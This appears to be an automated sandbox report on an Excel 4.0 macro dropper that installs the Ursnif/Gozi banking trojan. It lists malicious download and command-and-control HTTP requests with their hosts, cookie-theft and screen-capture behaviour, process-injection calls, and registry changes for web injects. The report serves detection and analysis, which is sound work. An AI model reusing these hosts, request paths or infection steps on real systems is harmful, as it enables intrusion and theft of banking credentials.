00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: C:\Windows\explorer.exe

Code function: 28_2_02912690 InternetReadFile,

28_2_02912690

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /yytr.png HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: online-docu-sign-st.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /manifest/epAdaEbgmyrS0/5cBg2_2F/5r8v5YqebG9_2BzXwQ53Or2/m_2BYyZlMo/Wjgc3SrdyI1oKZciJ/0VZWBVvz9ttQ/e_2BqGDPIqO/VywJMmm_2FxNKs/BOcG3xAwzit4RyHpLyJsr/vwEVLjnqkBMf1zrK/m34BDAlEVdkNvcp/4fnxbyz8Lb2BtkfzoG/Qmy6EiDgS/W_2BAz08nRnapN/NuB.snx HTTP/1.1Accept: text/html, application/xhtml+xml, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: pronpepsipirpyamvioerd.comDNT: 1Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: pronpepsipirpyamvioerd.comDNT: 1Connection: Keep-AliveCookie: PHPSESSID=42h5h7018t3pv8k72ad9a3bh91; lang=en
Source: global traffic	HTTP traffic detected: GET /manifest/8LuXDq_2BWfBiB/BEj6sfjtywNrZQzF5QZK7/NbbMkjR9SpGW28t6/1m9JUJz0exuG0Ws/6b83q2bcM1KtQpqf51/Z_2B1SUtN/P_2FDTQIaszfL7CFhXYP/tmsBI8pqKk7pm_2BfxZ/6rZJurPMhY6pGTLji_2FEt/IMZgEgmplBU7m/NokZx7zj/OP_2FSvKpKSMcRmuUdUVqR0/teCNe1.snx HTTP/1.1Accept: text/html, application/xhtml+xml, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: pronpepsipirpyamvioerd.comDNT: 1Connection: Keep-AliveCookie: lang=en
Source: global traffic	HTTP traffic detected: GET /manifest/t9KapG5Lp7Zt_2Fa57QG/GX7C0FfmRVPiI55eGvl/6x2VyI3ttROAIozUzpTtuU/djl44EXt9ama4/XR_2FoMg/DUUaeRp34H0CCf_2FqktcZq/z9PSxtll7Y/oj4uvWMlnUr2X5bcU/HYCHWM70nrfm/_2BgTKf7qxG/3cOw5VQBP7LVAf/95TW5v6vv1PzXG2YnDn_2/B53HOO92/81PS.snx HTTP/1.1Accept: text/html, application/xhtml+xml, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: pronpepsipirpyamvioerd.comDNT: 1Connection: Keep-AliveCookie: lang=en

Source: rundll32.exe, 00000003.00000002.2420148459.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416331199.0000000001D60000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341263910.0000000003730000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: online-docu-sign-st.com

Source: rundll32.exe, powershell.exe	String found in binary or memory: http://constitution.org/usdeclar.txt
Source: rundll32.exe, 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, powershell.exe, 00000014.00000003.2380930371.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: rundll32.exe, 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, rundll32.exe, 00000004.00000003.2378828561.00000000022D0000.00000004.00000001.sdmp, powershell.exe, 00000014.00000003.2380930371.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: rundll32.exe, 00000003.00000002.2420148459.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416331199.0000000001D60000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341263910.0000000003730000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2420148459.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416331199.0000000001D60000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341263910.0000000003730000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2420638109.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416494035.0000000001F47000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341411688.0000000003917000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2420638109.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416494035.0000000001F47000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341411688.0000000003917000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: mshta.exe, 00000013.00000002.2341613809.0000000003D40000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000003.00000002.2420638109.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416494035.0000000001F47000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341411688.0000000003917000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2420638109.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416494035.0000000001F47000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341411688.0000000003917000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: mshta.exe, 00000013.00000002.2341613809.0000000003D40000.00000002.00000001.sdmp, powershell.exe, 00000014.00000002.2416505711.0000000002450000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000003.00000002.2420148459.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416331199.0000000001D60000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341263910.0000000003730000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2420638109.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416494035.0000000001F47000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341411688.0000000003917000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2420148459.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416331199.0000000001D60000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341263910.0000000003730000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: mshta.exe, 00000013.00000002.2341263910.0000000003730000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49194
Source: unknown	Network traffic detected: HTTP traffic on port 49196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49194 -> 443

Source: unknown

HTTPS traffic detected: 104.16.249.249:443 -> 192.168.2.22:49194 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.2321839049.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321796165.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321745663.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2455042419.0000000002936000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2380930371.00000000028D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321730520.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321759010.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2378828561.00000000022D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2416998966.0000000002890000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_003A25C8 GetObjectA,GetDC,CreateCompatibleDC,CreateBitmap,CreateCompatibleBitmap,GetDeviceCaps,GetDeviceCaps,SelectObject,GetDIBColorTable,GetDIBits,SelectObject,CreateDIBSection,GetDIBits,SelectObject,SelectPalette,RealizePalette,FillRect,SetTextColor,SetBkColor,SetDIBColorTable,PatBlt,CreateCompatibleDC,SelectObject,SelectPalette,RealizePalette,SetTextColor,SetBkColor,BitBlt,SelectPalette,SelectObject,DeleteDC,SelectPalette,

4_2_003A25C8

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_003C9950 GetKeyboardState,

4_2_003C9950

Source: C:\Windows\System32\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

E-Banking Fraud:

Detected Gozi e-Banking trojan

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: lstrlenW,RtlAllocateHeap,memcpy,lstrcpyW,HeapFree,RtlAllocateHeap,RtlAllocateHeap,HeapFree,lstrlenW,RtlAllocateHeap,HeapFree,HeapFree,CreateDirectoryW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,DeleteFileW,HeapFree,HeapFree, \cookie.ff	4_2_02356C29
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: lstrlenW,RtlAllocateHeap,memcpy,lstrcpyW,HeapFree,RtlAllocateHeap,RtlAllocateHeap,HeapFree,lstrlenW,RtlAllocateHeap,HeapFree,HeapFree,CreateDirectoryW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,DeleteFileW,HeapFree,HeapFree, \cookie.ff	4_2_02356C29
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: lstrlenW,RtlAllocateHeap,memcpy,lstrcpyW,HeapFree,RtlAllocateHeap,RtlAllocateHeap,HeapFree,lstrlenW,RtlAllocateHeap,HeapFree,HeapFree,CreateDirectoryW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,DeleteFileW,HeapFree,HeapFree, \cookie.ie	4_2_02356C29
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: lstrlenW,RtlAllocateHeap,memcpy,lstrcpyW,HeapFree,RtlAllocateHeap,RtlAllocateHeap,HeapFree,lstrlenW,RtlAllocateHeap,HeapFree,HeapFree,CreateDirectoryW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,DeleteFileW,HeapFree,HeapFree, \cookie.ie	4_2_02356C29
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: lstrlenW,RtlAllocateHeap,memcpy,lstrcpyW,HeapFree,RtlAllocateHeap,RtlAllocateHeap,HeapFree,lstrlenW,RtlAllocateHeap,HeapFree,HeapFree,CreateDirectoryW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,DeleteFileW,HeapFree,HeapFree, \cookie.ie	4_2_02356C29

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.2321839049.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321796165.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321745663.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2455042419.0000000002936000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2380930371.00000000028D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321730520.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2321759010.00000000039CC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2378828561.00000000022D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2416998966.0000000002890000.00000040.00000001.sdmp, type: MEMORY

Disables SPDY (HTTP compression, likely to perform web injects)

Show sources

Source: C:\Windows\explorer.exe

Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the internet.y 0Protected View This
Source: Screenshot number: 4	Screenshot OCR: Enable Content I F122 -',- jR xIs [Compatibility Mode] - Microsoft Excel - xIs [Compatibility Mod

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: xls.xls	Initial sample: EXEC
Source: xls.xls	Initial sample: CALL

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: xls.xls

Initial sample: Sheet size: 5210

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\fyjh\zglgy\lckhvmn.drhdh			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\yytr[1].png			Jump to dropped file

Writes registry values via WMI

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetStringValue

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003CC8CC NtdllDefWindowProc_A,GetCapture,	4_2_003CC8CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003A863C NtdllDefWindowProc_A,	4_2_003A863C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003C281C GetSubMenu,SaveDC,RestoreDC,GetWindowDC,SaveDC,RestoreDC,NtdllDefWindowProc_A,	4_2_003C281C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003B9348 NtdllDefWindowProc_A,	4_2_003B9348
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003B9AF0 IsIconic,SetActiveWindow,IsWindowEnabled,SetWindowPos,NtdllDefWindowProc_A,	4_2_003B9AF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003B9BA0 IsIconic,SetActiveWindow,IsWindowEnabled,NtdllDefWindowProc_A,SetWindowPos,SetFocus,	4_2_003B9BA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_004314E8 NtCreateSection,memset,	4_2_004314E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0043183B NtMapViewOfSection,	4_2_0043183B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_004322C5 NtQueryVirtualMemory,	4_2_004322C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_004772D8 NtMapViewOfSection,	4_2_004772D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00471371 GetProcAddress,NtCreateSection,memset,	4_2_00471371
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00477507 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	4_2_00477507
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0047B2F1 NtQueryVirtualMemory,	4_2_0047B2F1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02355AD9 memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64,	4_2_02355AD9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02361B30 NtWriteVirtualMemory,	4_2_02361B30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0235F0A0 GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread,	4_2_0235F0A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0234C088 NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64,	4_2_0234C088
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0234BE78 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	4_2_0234BE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02349E4D NtGetContextThread,	4_2_02349E4D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0234E64A OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle,	4_2_0234E64A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02360755 RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA,	4_2_02360755
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0235B534 NtQueryInformationProcess,	4_2_0235B534
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0235CD06 GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA,	4_2_0235CD06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0235FA3B NtQuerySystemInformation,RtlNtStatusToDosError,	4_2_0235FA3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02355348 memset,NtQueryInformationProcess,	4_2_02355348
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0234F920 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError,	4_2_0234F920
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02355903 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError,	4_2_02355903
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_023466A5 NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError,	4_2_023466A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02356EDE NtGetContextThread,RtlNtStatusToDosError,	4_2_02356EDE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0234CC2C NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW,	4_2_0234CC2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_023494BB memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError,	4_2_023494BB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_023534F7 NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError,	4_2_023534F7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028B7278 NtWriteVirtualMemory,	20_2_028B7278
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028B20B4 NtQueryInformationProcess,	20_2_028B20B4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_02897008 NtQueryInformationToken,NtQueryInformationToken,	20_2_02897008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028B4064 NtMapViewOfSection,	20_2_028B4064
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0289EF1C NtSetContextThread,NtUnmapViewOfSection,	20_2_0289EF1C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_02895DF4 NtCreateSection,	20_2_02895DF4
Source: C:\Windows\explorer.exe	Code function: 28_2_02916A74 NtQuerySystemInformation,	28_2_02916A74
Source: C:\Windows\explorer.exe	Code function: 28_2_02927278 NtWriteVirtualMemory,	28_2_02927278
Source: C:\Windows\explorer.exe	Code function: 28_2_0290527C NtAllocateVirtualMemory,	28_2_0290527C
Source: C:\Windows\explorer.exe	Code function: 28_2_02912FD0 NtQueryInformationProcess,	28_2_02912FD0
Source: C:\Windows\explorer.exe	Code function: 28_2_0290EF1C RtlAllocateHeap,NtSetContextThread,NtUnmapViewOfSection,	28_2_0290EF1C
Source: C:\Windows\explorer.exe	Code function: 28_2_0291FF54 NtReadVirtualMemory,	28_2_0291FF54
Source: C:\Windows\explorer.exe	Code function: 28_2_029014D0 NtQueryInformationProcess,	28_2_029014D0
Source: C:\Windows\explorer.exe	Code function: 28_2_02924064 NtMapViewOfSection,	28_2_02924064
Source: C:\Windows\explorer.exe	Code function: 28_2_02905DF4 NtCreateSection,	28_2_02905DF4

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_0235EE34 CreateProcessAsUserW,

4_2_0235EE34

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003D8E4C	4_2_003D8E4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003C281C	4_2_003C281C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0039E8EB	4_2_0039E8EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_003B3840	4_2_003B3840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_004320A4	4_2_004320A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0047B0CC	4_2_0047B0CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0047936B	4_2_0047936B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_004723FC	4_2_004723FC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00401618	4_2_00401618
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0235F395	4_2_0235F395
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0235404C	4_2_0235404C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_023620D4	4_2_023620D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02366664	4_2_02366664
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_023427ED	4_2_023427ED
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0289EF1C	20_2_0289EF1C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028B0CDC	20_2_028B0CDC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028A059C	20_2_028A059C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_02891AD0	20_2_02891AD0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_02897A0C	20_2_02897A0C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028B1A30	20_2_028B1A30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028A537C	20_2_028A537C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_02893088	20_2_02893088
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028A2080	20_2_028A2080
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0289A8B8	20_2_0289A8B8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028AA0C4	20_2_028AA0C4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028B40F8	20_2_028B40F8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028958FC	20_2_028958FC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028B5010	20_2_028B5010
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_02894828	20_2_02894828
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_02890000	20_2_02890000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028B2994	20_2_028B2994
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028A0134	20_2_028A0134
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_02896168	20_2_02896168
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028AE178	20_2_028AE178
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0289B170	20_2_0289B170
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028A6E88	20_2_028A6E88
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028AAE94	20_2_028AAE94
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028916B4	20_2_028916B4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028966D0	20_2_028966D0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028B36F4	20_2_028B36F4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028A3F2C	20_2_028A3F2C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0289CF24	20_2_0289CF24
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0289B730	20_2_0289B730
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0289D590	20_2_0289D590
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0289AD03	20_2_0289AD03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028A8504	20_2_028A8504
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0289DD18	20_2_0289DD18
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028A3520	20_2_028A3520
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_028A154C	20_2_028A154C
Source: C:\Windows\explorer.exe	Code function: 28_2_0291AE94	28_2_0291AE94
Source: C:\Windows\explorer.exe	Code function: 28_2_029016B4	28_2_029016B4
